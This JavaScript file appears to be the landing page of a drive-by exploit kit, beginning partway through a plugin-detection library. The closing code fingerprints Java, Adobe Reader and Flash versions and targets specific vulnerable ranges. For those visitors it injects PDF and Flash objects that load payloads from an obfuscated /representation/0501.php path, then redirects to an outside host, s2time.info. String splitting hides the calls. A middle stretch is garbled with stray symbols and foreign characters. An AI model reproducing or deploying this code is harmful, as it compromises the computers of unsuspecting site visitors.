                    };
                    a = h.pluginObj.name || "";
                    i = h.pluginObj.description || "";
                    if (!f || c.debug) {
                        g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
                        if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
                            f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
                        }
                    }
                    if (!f || c.debug) {
                        g = /Java[^\d]*Plug-in/i;
                        l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
                        k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
                        if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
                            l = 0
                        }
                        if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
                            k = 0
                        }
                        d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k);
                        if (d) {
                            f = d
                        }
                    }
                    if (!f && e.isSafari && e.OS == 2) {
                        j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
                        if (j) {
                            l = e.getNum(j.description);
                            if (l) {
                                f = l
                            }
                        }
                    };
                    if (f) {
                        m.version = e.formatNum(f)
                    };
                    return m
                }
            },
            lang: {
                $: 1,
                System: {
                    $: 1,
                    hasRun: 0,
                    result: [null, null],
                    disabled: function() {
                        return this.$.isDisabled.windowDotJava()
                    },
                    getPropertyHas: function(a) {
                        var b = this,
                            d = b.$,
                            c = b.getProperty()[0];
                        return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
                    },
                    getProperty: function() {
                        var f = this,
                            g = f.$,
                            d = f.$,
                            i, h = {},
                            b = f.hasRun || f.disabled();
                        f.hasRun = 1;
                        if (!b) {
                            var a = "java_qqq990";
                            g[a] = null;
                            try {
                                var c = document.createElement("script");
                                c.type = "text/javascript";
                                c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a + "=a||0})();"));
                                g.head.insertBefore(c, g.head.firstChild);
                                g.head.removeChild(c)
                            } catch (i) {}
                            if (g[a] && g.isArray(g[a])) {
                                f.result = [].concat(g[a])
                            }
                        }
                        return f.result
                    }
                }
            },
            applet: {
                $: 1,
                results: [
                    [null, null],
                    [null, null],
                    [null, null]
                ],
                getResult: function() {
                    var c = this.results,
                        a, b = [];
                    for (a = 0; a < c.length; a++) {
                        b = c[a];
                        if (b[0]) {
                            break
                        }
                    }
                    return [].concat(b)
                },
                HTML: [0, 0, 0],
                active: [0, 0, 0],
                DummyObjTagHTML: 0,
                DummySpanTagHTML: 0,
                allowed: [1, 1, 1],
                VerifyTagsHas: function(c) {
                    var d = this,
                        b;
                    for (b = 0; b < d.allowed.length; b++) {
                        if (d.allowed[b] === c) {
                            return 1
                        }
                    }
                    return 0
                },
                saveAsVerifyTagsArray: function(c) {
                    var b = this,
                        d = b.$,
                        a;
                    if (d.isArray(c)) {
                        for (a = 0; a < b.allowed.length; a++) {
                            if (d.isNum(c[a])) {
                                if (0 > c[a]) {
                                    c[a] = 0
                                }
                                if (c[a] > 3) {
                                    c[a] = 3
                                }
                                b.allowed[a] = c[a]
                            }
                        }
                    }
                },
                setVerifyTagsArray: function(d) {
                    var b = this,
                        c = b.$,
                        a = b.$;
                    if (a.getVersionDone === null) {
                        b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
                    }
                    if (a.debug || (a.verify && a.verify.isEnabled())) {
                        b.saveAsVerifyTagsArray([3, 3, 3])
                    } else {
                        if (d) {
                        
                    
                
                    
                
                    
                    
                        
                    
                    
                        
                    
                    
                        
                    
                
                    
                    
                        
                    
                    
                
                    
                    
                        
                            
                        
                    
                    
                
                    
                    
                        
                    
                    
                        
                    
                    
                        
                    
                    
                        
                    
                    
                        
                    
                    
                        
                            
                        
                        
                            
                        
                    
                    
                
                    
                    
                        
                            
                        
                    
                    
                
                    
                    
                        
                    
                    
                        
“ ); 
                            Ĵ = getVendor () + “” ; 
                            Ç 狀態欄(克winLoaded中? “” : “ 
                        
                        
                        
                        
                            
                            
                        
                    
                
                    
                    
                        
                    
                    
                    
                    
                        
                    
                    
                    
                    
                    
                    
                        
                        
                    
                    
                        
                        
                    
                    
                        
                        
                    
                    
                    
                    
                    
                    
                    
                        
                        
                    
                    
                
            
                    
                    
                        
                            
                        
                    
                    
                
                    
                    
                        
                        
                    
                    
                
                    
                    
                    
                    
                
                    
                    
                        
                    
                    
                        
                            
                        
                    
                    
                        
                        
                    
                    
                        
                    
                    
                        
                    
                    
                
                    
                    
                    
                
                    
                    
                        
                        
                    
                    
                    
                
                    
                        f = g.$,
                        e = g.$,
                        d = e.applet,
                        b, a, c;
                    for (b = 0; b < d.results.length; b++) {
                        d.query(b)
                    }
                    a = d.getResult();
                    c = a[0] ? true : false;
                    return [c, a[0], a[1]]
                },
                queryCompleted: function(c, f) {
                    var e = this,
                        d = e.$,
                        b = e.$;
                    if (b.OTF >= 4) {
                        return
                    }
                    b.OTF = 4;
                    var a = e.isJavaActive();
                    b.setPluginStatus(c, f, 0);
                    if (b.funcs) {
                        d.callArray(b.funcs)
                    }
                    if (d.onDoneEmptyDiv) {
                        d.onDoneEmptyDiv()
                    }
                }
            },
            zz: 0
        },
        flash: {
            mimeType: "application/x-shockwave-flash",
            progID: "ShockwaveFlash.ShockwaveFlash",
            classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
            getVersion: function() {
                var b = function(i) {
                        if (!i) {
                            return null
                        }
                        var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
                        return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
                    };
                var j = this,
                    g = j.$,
                    k, h, l = null,
                    c = null,
                    a = null,
                    f, m, d;
                if (!g.isIE) {
                    m = g.hasMimeType(j.mimeType);
                    if (m) {
                        f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
                        try {
                            l = g.getNum(f.GetVariable("$version"))
                        } catch (k) {}
                    }
                    if (!l) {
                        d = m ? m.enabledPlugin : null;
                        if (d && d.description) {
                            l = b(d.description)
                        }
                        if (l) {
                            l = g.getPluginFileVersion(d, l)
                        }
                    }
                } else {
                    for (h = 15; h > 2; h--) {
                        c = g.getAXO(j.progID + "." + h);
                        if (c) {
                            a = h.toString();
                            break
                        }
                    }
                    if (!c) {
                        c = g.getAXO(j.progID)
                    }
                    if (a == "6") {
                        try {
                            c.AllowScriptAccess = "always"
                        } catch (k) {
                            return "6,0,21,0"
                        }
                    }
                    try {
                        l = b(c.GetVariable("$version"))
                    } catch (k) {}
                    if (!l && a) {
                        l = a
                    }
                }
                j.installed = l ? 1 : -1;
                j.version = g.formatNum(l);
                return true
            }
        },
        adobereader: {
            mimeType: "application/pdf",
            navPluginObj: null,
            progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
            classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
            INSTALLED: {},
            pluginHasMimeType: function(d, c, f) {
                var b = this,
                    e = b.$,
                    a;
                for (a in d) {
                    if (d[a] && d[a].type && d[a].type == c) {
                        return 1
                    }
                }
                if (e.getMimeEnabledPlugin(c, f)) {
                    return 1
                }
                return 0
            },
            getVersion: function(l, j) {
                var g = this,
                    d = g.$,
                    i, f, m, n, b = null,
                    h = null,
                    k = g.mimeType,
                    a, c;
                if (d.isString(j)) {
                    j = j.replace(/\s/g, "");
                    if (j) {
                        k = j
                    }
                } else {
                    j = null
                }
                if (d.isDefined(g.INSTALLED[k])) {
                    g.installed = g.INSTALLED[k];
                    return
                }
                if (!d.isIE) {
                    a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
                    if (g.getVersionDone !== 0) {
                        g.getVersionDone = 0;
                        b = d.getMimeEnabledPlugin(g.mimeType, a);
                        if (!j) {
                            n = b
                        }
                        if (!b && d.hasMimeType(g.mimeType)) {
                            b = d.findNavPlugin(a, 0)
                        }
                        if (b) {
                            g.navPluginObj = b;
                            h = d.getNum(b.description) || d.getNum(b.name);
                            h = d.getPluginFileVersion(b, h);
                            if (!h && d.OS == 1) {
                                if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
                                    h = "9"
                                } else {
                                    if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
                                        h = "8"
                                    }
                                }
                            }
                        }
                    } else {
                        h = g.version
                    }
                    if (!d.isDefined(n)) {
                        n = d.getMimeEnabledPlugin(k, a)
                    }
                    g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
                } else {
                    b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
                    c = /=\s*([\d\.]+)/g;
                    try {
                        f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions();
                        for (m = 0; m < 5; m++) {
                            if (c.test(f) && (!h || h < RegExp.$1)) {
                                h = RegExp.$1
                            }
                        }
                    } catch (i) {}
                    g.installed = h ? 1 : (b ? 0 : -1)
                }
                if (!g.version) {
                    g.version = d.formatNum(h)
                }
                g.INSTALLED[k] = g.installed
            }
        },
        zz: 0
    }
};
pdpd.initScript();
pdpd.getVersion(".");
var $ = pdpd;
function x(s) {
    d = [];
    for (i = 0; i < s.length; i++) {
        k = (s.charCodeAt(i)).toString(33);
        d.push(k);
    };
    return d.join(":");
}
end_redirect = function() {
    window.location.href = 'http://s2time.info/representation/0002.php';
};
function j1() {
    return true;
}
function j2() {
    return true;
}
function p1() {
    var d = document.createElement("object");
    d.setAttribute("data", "/representation/0501.php?vybh=" + x("8fa62") + "&cfwo=" + x("yip") + "&kwvlw=1i:33:1k:1k:1n:1o:1j:2w:30:1m&iiuvndwj=" + x(pdfver.join(".")));
    d.setAttribute("type", "application/pdf");
    document.body.appendChild(d);
}
function p2() {
    var d = document.createElement("object");
    d.setAttribute("data", "/representation/0501.php?hml=" + x("8fa62") + "&hkvtl=" + x("z") + "&aojj=1i:33:1k:1k:1n:1o:1j:2w:30:1m&bwjxjq=" + x(pdfver.join(".")));
    d.setAttribute("type", "application/pdf");
    document.body.appendChild(d);
}
function p3() {
    return false;
}
function f1() {
    var oSpan = document.createElement("span");
    document.body.appendChild(oSpan);
    var url = "/representation/0501.php?idxsyzwo=" + x("8fa62") + "&qlakksc=" + x("nvkdhp") + "&xofav=1i:33:1k:1k:1n:1o:1j:2w:30:1m&info=02e6b1525353caa8ad554c50b3b637afb1b631b1ad55305752305734b7513356b3b6b5a94d4a4f4aae51b252ca3556b1cf4f7e7ad6486b7f";
    oSpan.innerHTML = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='" + url + "' /><embed src='" + url + "' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
}
function ff2() {
    return false;
}
document.write('');
setTimeout(end_redirect, 61000);
var pdfver = [];
function svwrbew6436b($) {
    var ar = [];
    var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
    if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9))) {
        ar["push"](j2);
    } else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 && javax[1] < 6))) {
        ar["push"](j1);
    }
    pdfver = pdpd.getVersion("AdobeReader");
    if (window.document) if (typeof pdfver == "string") {
        pdfver = pdfver["split"](".")
    } else {
        pdfver = [0, 0, 0, 0]
    }
    if (pdfver[0] > 0 && pdfver[0] < 8) {
        if (window.document) ar["push"](p1);
    }
    if (((pdfver[0] == 9) && (pdfver[1] >= 3)) || ((pdfver[0] == 10) && (pdfver[1] < 103))) {
        ar["push"](p3);
    } else {
        if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))) {
            ar["push"](p2);
        }
    }
    var ver = ($.getVersion("Flash") + ".").toString()["split"](".");
    if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))) {
        ar["push"](ff2);
    }
    if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) {
        ar["push"](f1);
    }
    var arcalli = 0;
    var arcall = function() {
            if (ar.length <= arcalli) return 123;
            ss = setTimeout;
            var res = ar[arcalli]();
            arcalli++;
            if (res && window.document) {
                ss(function() {
                    arcall()
                }, 5509);
            } else {
                arcall();
            }
        };
    arcall();
}
$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../data/getJavaInfo.jar");
  |